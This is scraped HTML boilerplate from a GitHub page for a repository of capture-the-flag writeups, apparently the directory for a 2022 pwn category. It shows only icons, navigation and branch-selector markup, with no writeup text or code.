<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> GonTanaka </span> <span>/</span> CTF-Writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>1</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/GonTanaka/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":437949506,"originating_url":"https://github.com/GonTanaka/CTF-Writeups/tree/main/Cyber_Apocalypse2022/pwn","user_id":null}}" data-hydro-click-hmac="a5ae9341599a8d41633b5f9107efb58930bbd0bb62c32feef71f939b4cdc0909"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/GonTanaka/CTF-Writeups/refs" cache-key="v0:1655044557.692943" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="R29uVGFuYWthL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/GonTanaka/CTF-Writeups/refs" cache-key="v0:1655044557.692943" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="R29uVGFuYWthL0NURi1Xcml0ZXVwcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
